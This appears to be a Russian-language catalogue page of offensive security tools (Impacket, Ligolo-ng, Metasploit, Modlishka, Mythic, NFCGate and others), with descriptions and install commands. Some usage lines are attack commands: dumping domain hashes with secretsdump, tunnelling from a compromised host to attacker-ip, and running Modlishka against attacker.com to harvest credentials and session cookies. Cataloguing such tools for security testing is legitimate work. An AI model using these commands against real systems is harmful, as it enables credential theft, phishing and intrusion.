Exploitation

vimpacket_0_13_1

Exploitation ★ featured

Python-библиотека и набор утилит для работы с сетевыми протоколами Windows: SMB, LDAP, Kerberos, MSRPC, MSSQL. Содержит готовые скрипты для атак: • secretsdump.py — дамп хешей через DCSync или …

GitHub Docs Forgejo Mirror

# pip (рекомендуется) pip install impacket # Из исходников git clone https://github.com/fortra/impacket cd impacket && pip install . # Kali Linux apt install python3-impacket impacket-scripts # Пример: дамп хешей домена secretsdump.py domain/user:pass@dc-ip

★ 16.1k

JADX

v1.5.5

Exploitation

Декомпилятор Android DEX/APK в читаемый Java-код. GUI для анализа приложений: навигация по классам, поиск строк, дизассемблер smali, экспорт в Gradle-проект. Незаменим при анализе безопасности мобильных приложений и CTF.

GitHub Forgejo Mirror

# Скачать с GitHub Releases: # https://github.com/skylot/jadx/releases unzip jadx-*.zip -d jadx cd jadx/bin ./jadx-gui # GUI ./jadx target.apk -d output/ # CLI # macOS: brew install jadx # Из исходников (Gradle): git clone https://github.com/skylot/jadx cd jadx ./gradlew dist # бинарь: build/jadx/bin/jadx

admin ★ 50.3k

LASGen

Exploitation

Гибридный фаззер библиотек, сочетающий статический анализ с LLM для генерации качественных входных данных с высоким покрытием функций.

GitHub Сайт

python3 generateSliceCode.py

admin ★ 2

LLMtary

v1.0.9

Exploitation

Автономная ИИ-платформа пентеста с LLM-разведкой, анализом уязвимостей, цепочками атак и автоматическим пост-эксплуатационным перебором

GitHub Forgejo Mirror

# Установка из готового пакета sudo dpkg -i llmtary_*.deb sudo rpm -i LLMtary-*-RH-Fed-Cent_Alma.x86_64.rpm sudo pacman -U LLMtary-*-x86_64.pkg.tar.zst sudo rpm -i LLMtary-*-opensuse.x86_64.rpm # Сборка из исходников flutter config --enable-linux-desktop git clone https://github.com/chetstriker/LLMtary.git cd LLMtary flutter pub get flutter run -d linux flutter build linux

admin ★ 37

Ligolo-ng

v0.8.3

Exploitation ★ featured

Продвинутый инструмент для туннелирования и пивотинга в сети с использованием TUN-интерфейса. Позволяет прозрачно направлять трафик через скомпрометированные хосты без socks-proxy. Возможности: - Прозрачный туннель через TUN-интерфейс (не SOCKS) …

GitHub Forgejo Mirror

# Скачать релизы (proxy + agent): # https://github.com/nicocha30/ligolo-ng/releases # На хосте атакующего (proxy): sudo ip tuntap add user $(whoami) mode tun ligolo sudo ip link set ligolo up ./proxy -selfcert -laddr 0.0.0.0:11601 # На скомпрометированной машине (agent): ./agent -connect attacker-ip:11601 -ignore-cert # В консоли proxy: session # выбрать агента ifconfig # посмотреть сети агента start # запустить туннель # Добавить маршрут к внутренней сети: sudo ip route add 192.168.1.0/24 dev ligolo

admin ★ 4.9k

Merlin

v2.1.4

Exploitation

Кроссплатформенный C2-сервер и агент на Go с транспортом по HTTP/2 для постэксплуатационных сценариев в рамках авторизованного пентеста.

GitHub Forgejo Mirror

wget https://github.com/Ne0nd0g/merlin/releases/latest/download/merlinServer-Linux-x64.7z 7z x merlinServer-Linux-x64.7z sudo ./merlinServer-Linux-x64 ./data/bin/merlinCLI-Linux-x64

admin ★ 5.6k

MetaLLM

Exploitation

Фреймворк в стиле Metasploit для тестирования безопасности AI и ML с более чем 40 эксплойт-модулями, нацеленными на уязвимости из OWASP LLM Top 10.

GitHub Forgejo Mirror

git clone https://github.com/scthornton/MetaLLM.git cd MetaLLM python -m venv venv source venv/bin/activate pip install -r requirements.txt

admin ★ 7

Metasploit Framework

v4.11.7

Exploitation ★ featured

Самый известный фреймворк для пентеста и разработки эксплойтов. Содержит тысячи модулей: эксплойты, пейлоады, вспомогательные модули, пост-эксплуатацию. Поддерживает stageless/staged payload, Meterpreter, автоматизацию через скрипты и REST API. Используется в …

Official Site GitHub Docs

# Kali / Parrot (предустановлен) msfconsole # Быстрая установка (Debian/Ubuntu) curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall chmod 755 msfinstall && sudo ./msfinstall # Обновление sudo msfupdate

Блог

★ 38.9k

Modlishka

Exploitation

Реверс-прокси для фишинга — проксирует реальные сайты в реальном времени и перехватывает учётные данные и сессионные куки. Поддерживает TLS, кастомные домены и автоматическое внедрение payload-а. Альтернатива Evilginx без …

GitHub Forgejo Mirror

# Требуется Go 1.14+: git clone https://github.com/drk1wi/Modlishka cd Modlishka go build # Запуск: ./modlishka -proxyDomain attacker.com -target targetsite.com \ -listeningPort 443 -tls true

admin ★ 5.4k

Mythic

v3.4.0.5

Exploitation

Кросс-платформенная, управляемая через плагины платформа для эмуляции противника (adversary emulation) с веб-интерфейсом, используется командами авторизованного red-teaming.

GitHub Forgejo Mirror

sudo make sudo ./mythic-cli start sudo ./mythic-cli install github https://github.com/MythicAgents/apfell sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http

admin ★ 4.7k

NFCGate

v2.6.1

Exploitation

Android-приложение для relay-атак на NFC. Перехватывает NFC-трафик между картой и терминалом, ретранслирует через IP-сеть на второе устройство. Поддерживает: capture, replay, relay, клонирование Mifare Classic. Позволяет обходить RFID-доступ на …

GitHub Forgejo Mirror

# Установить APK на 2 Android-устройства с NFC: https://github.com/nfcgate/nfcgate/releases # Одно — у жертвы (capture/relay), второе — у терминала (relay/replay)

admin ★ 2.3k

Nemesis

v2.2.2

Exploitation

Централизованная платформа для обработки, обогащения и совместного анализа файлов, собранных в ходе авторизованных red-team оценок безопасности. Построена на Docker/Dapr.

GitHub Forgejo Mirror

git clone https://github.com/SpecterOps/Nemesis.git cd Nemesis docker-compose up -d

admin ★ 997

Категории

Сортировка